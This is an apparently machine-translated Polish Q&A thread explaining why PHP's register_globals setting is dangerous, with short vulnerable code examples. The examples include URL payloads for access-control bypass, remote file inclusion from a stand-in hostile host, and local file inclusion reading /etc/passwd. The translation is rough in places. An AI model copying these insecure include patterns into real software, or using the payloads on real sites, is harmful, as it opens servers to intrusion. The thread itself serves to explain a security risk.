Nie jestem programistą PHP, ale widziałem w kilku miejscach, że ludzie traktują to jak zaraza czy coś. Czemu?Dlaczego pozycja REGISTER_GLOBALS jest taka zła?
Odpowiedz
REGISTER_GLOBALS
oznacza, że wszystkie zmienne przekazywane przez GET lub POST są dostępne jako zmienne globalne w skrypcie. Ponieważ dostęp do niezadeklarowanych zmiennych nie jest błędem w PHP (jest to ostrzeżenie), może prowadzić do bardzo nieprzyjemnych sytuacji. Rozważmy to na przykład:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
To nie jest złą rzeczą per se (kod dobrze zaprojektowane nie powinny generować ostrzeżenia, dlatego nie powinien uzyskać dostępu do żadnych zmiennych, które mogą być nierejestrowanej (a nie powinien potrzebaREGISTER_GLOBALS
dla sam powód)), ale kod PHP jest zwykle [bardzo] niskiej jakości, co prowadzi do tego rodzaju luk w zabezpieczeniach.
Ponieważ pozwala użytkownikowi wprowadzić dowolną zmienną globalną w kodzie bez żadnej kontroli.
W oparciu o jakość kodu może wprowadzić poważne błędy bezpieczeństwa.
Włączenie REGISTER_GLOBALS udostępnia strony internetowe obsługiwane przez PHP do usterek, które niektórzy złoczyńcy będą chętnie wykorzystywać.
Dzięki niemu włączona, dowolny ciąg znaków zapytania na końcu adresu URL:
http://yourdomain/something.php?valid=true
wpłynie na wartość zmiennej $ ważnego (na przykład) w something.php, jeśli istnieje.
Jeśli używasz publicznie dostępnego kodu PHP (np. Biblioteki), nazwy zmiennych są dobrze znane, a hakerzy mogliby kontrolować ich wartości, przypisując wartości w łańcuchu zapytania. Mogą być w stanie ominąć uwierzytelnianie.
Nawet jeśli nie korzystasz z publicznego kodu, możliwe jest odgadnięcie nazw ważnych zmiennych i kontrola ich wartości.
on używany jako domyślny mieć włączoną register_globals w php.ini
Najnowsze praktyką jest, aby wyłączyć go domyślnie. Włącz to na własne ryzyko!
Wystarczy dodać, tutaj są pewne sytuacje, w których mający REGISTER_GLOBALS
włączone mogłyby zrujnować twój dzień:
Korzystanie ciąg kwerendy do ominięcia kontroli dostępu (Hack wykorzystujące http://example.com/?logged=1):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
zdalnego File Inclusion (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Local File Inclusion (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
Twój pierwszy przykład nie jest naruszony, ponieważ wartość '$ logged' jest zdefiniowana przez zwracaną wartość' User :: getLogged'. – Gumbo
- 1. Dlaczego tablica.min jest taka powolna?
- 2. Dlaczego (prawda) jest zła praktyka?
- 3. Znajdowanie skryptów PHP wymagających register_globals
- 4. Czy jest wiele dziedziczenia zła?
- 5. Dlaczego ta rubinowa mieszanka nie jest taka, jak myślałem?
- 6. Dlaczego ta funkcja rekurencyjna w Haskell jest taka powolna?
- 7. Dlaczego pozycja absolutna renderowana jest powyżej pozycji statycznej?
- 8. Dlaczego pozycja stopki nie jest uwzględniona w Repeater.Items?
- 9. Która "Eksperymentalna funkcja języka C#" jest taka?
- 10. Zablokować tylko, jeśli wartość jest taka sama?
- 11. Dlaczego jest generowana nazwa dla klasy lambda nie jest taka sama dla identycznych programów
- 12. Czy dataWithContentsOfURL jest zła podczas uruchamiania aplikacji?
- 13. Pozycja Komponenty w Kręgu
- 14. Wydajność LongListSelector jest bardzo zła, gdy jest zawarta w ScrollViewer
- 15. dlaczego ustalona pozycja zakłóca moje wyrównanie?
- 16. NoClassDefFoundError: zła nazwa
- 17. RxJava - Czy pamięć podręczna() jest taka sama jak funkcja odtwarzania()?
- 18. Dlaczego warto korzystać z Androida: configChanges to zła praktyka
- 19. Czy to dobra czy zła "symulacja" dla Monty Hall? Dlaczego?
- 20. Dlaczego nazwa mojej aplikacji na Androida jest taka sama jak nazwa programu uruchamiającego?
- 21. PHP zła data/czas
- 22. Zła praktyka zachowania "ja"?
- 23. Zła konfiguracja w git
- 24. Stos, foreach, zła kolejność?
- 25. Kompresja memcache - dobra/zła?
- 26. phpinfo zła data
- 27. Zła kompilacja stała wartość
- 28. Zła liczba argumentów?
- 29. jqGrid - nie taka metoda gridunload
- 30. Co to jest pozycja pod względem sekwencji?
"kod PHP jest zwykle [bardzo] niskiej jakości" - mówią za siebie – OIS
Zazwyczaj = zawsze!. Ale polecam przeglądać źródła niektórych CMS z otwartym dostępem do kodu źródłowego. Znajdziesz więcej 'eval()', 'erege_replace()' i 'REGISTER_GLOBALS' niż możesz się spodziewać.Uwaga: sam jestem programistą PHP. – soulmerge
Próba odczytania niezdefiniowanych zmiennych jest nieprzyjemna. Nie miałbyś takiego problemu z '$ debug = false;'. – Gumbo